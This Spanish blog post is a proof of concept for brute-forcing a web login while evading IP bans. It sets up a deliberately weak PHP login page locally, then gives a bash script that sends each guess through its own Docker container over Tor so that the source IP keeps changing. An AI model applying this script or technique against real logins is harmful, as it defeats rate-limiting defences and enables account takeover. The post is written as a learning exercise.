Docker: Bruteforce evitando banneos
Como buenos sysAdmin, devOps, o lo que **** seamos, necesitamos estar al día, y docker es una herramienta muy «de moda» que no está de más conocer.
Jugando y aprendiendo con docker, se me ocurrió una forma con la que hacer un ataque de fuerza bruta a un login evitando ser bloqueados cuando realizamos demasiados intentos. Empezamos:
Buscando un objetivo
En primer lugar necesitamos un sitio que atacar; como no queremos ser malos, vamos a montar un login muy sencillo en un nginx para testar nuestra idea:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
<html> <head> <title> Hackaffeine </title> </head> <body> <?php ### Save visitors in visitors.log $line = date('Y-m-d H:i:s') . " - $_SERVER[REMOTE_ADDR]"; file_put_contents('visitors.log', $line . PHP_EOL, FILE_APPEND); ### $ip = $_SERVER['REMOTE_ADDR']; $text = file_get_contents('visitors.log'); if (substr_count($text, $ip, 3) < 10 ) { if (isset($_GET['password'])){ if ($_GET['password'] == "44"){ echo "yeah!"; } } ?> <form id='login' action='login.php' method='get' accept-charset='UTF-8'> <label for='password' >Password:</label> <input type='password' name='password' id='password' maxlength="4" /> <input type='submit' name='Submit' value='Submit' /> </form> <?php } else{ echo "banned"; } ?> </body> </html> |
Este php guarda el número de accesos a la web, y en caso de sobrepasar el limite, los bloquea.
Docker: Concepto
Es el turno de docker. A modo de resumen para el que no lo conozca, docker nos permite ejecutar procesos Linux en contenedores aislados. Una forma para dejar más claro su concepto es compararlo con las máquinas virtuales:
En rasgos generales la idea es muy parecida; como podéis ver docker no hace uso del sistema operativo invitado, lo que nos permite agilizar mucho en tiempo y recursos.
Los contenedores que se usa docker se pueden ejecutar a partir de una imagen predefinida como veremos posteriormente.
Tampoco soy un experto, por tanto el que quiera más información puede consultar la wikipedia o su página oficial.
Docker: Configurando
El primer paso es tener instalado docker en nuestro ordenador.
Posteriormente pasaremos a crear una imagen de Ubuntu e instalaremos las herramientas, curl y tor.
En mi caso descargaré la imagen de Ubuntu, instalaré las herramientas mencionadas y commitearé los cambios para obtener una nueva imagen. Una manera más metódica y automática para la creación de imágenes es a partir de los Dockerfiles, pero para la gente que nunca haya usado docker, creo que la primera forma es más descriptiva:
1 2 3 |
docker search ubuntu docker pull ubuntu docker run -it ubuntu /bin/bash |
Ya dentro del contenedor:
1 2 3 |
apt-get update apt-get upgrade apt-get install tor curl |
fuera del contenedor:
1 |
docker commit ID_COMMIT tor:v3 |
tor:v3 es el nombre que le damos a la nueva imagen.
Al ataquer!
Llega la hora de probarlo y para ello vamos a utilizar un script muy básico:
Vamos a probar contraseñas de 0 hasta 999
Vamos a intentar acceder con cada password mediante un contenedor diferente, permitiéndonos así salir con IPs distintas de Tor.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
#!/bin/bash #hackaffeine - Santi, Marcos touch password.txt for ((i=0;i<999;i++)); do echo "password: "$i docker run -d -v $(pwd)/password.txt:/password.txt tor:v3 /bin/bash -c " service tor start > /dev/null 2>&1 while true; do curl --socks5 127.0.0.1:9050 localhost/login.php?password=$i > /tmp/output # 2>/dev/nul if [ ! -z \$(grep 'yeah' /tmp/output) ] then echo 'Password found: $i' > /password.txt break elif [ ! -z \$(grep '<html>' /tmp/output) ] then break fi done " done |
Si la contraseña es encontrada, se guardará en un fichero auxiliar llamado password.txt
Como ya he dicho todo esto no deja de ser una prueba de concepto rápida, y por tanto tendríamos que subsanar problemas (por ejemplo que Tor nos de la misma IP en varios accesos, etc)
Otra idea pendiente de probar, si el tiempo libre nos deja, es automatizarlo con hydra, medusa, etc.
El uso de técnicas similares ya queda abierto a la mente de cada uno y a la cafeína que queramos tomar!
Buen post, me ha jaleado para probar docker y me hice una script para levantar servidores de UrT automaticamente.
Lo dejo aquí por si sirve de insipiración:
https://github.com/pando85/auto-urtserver/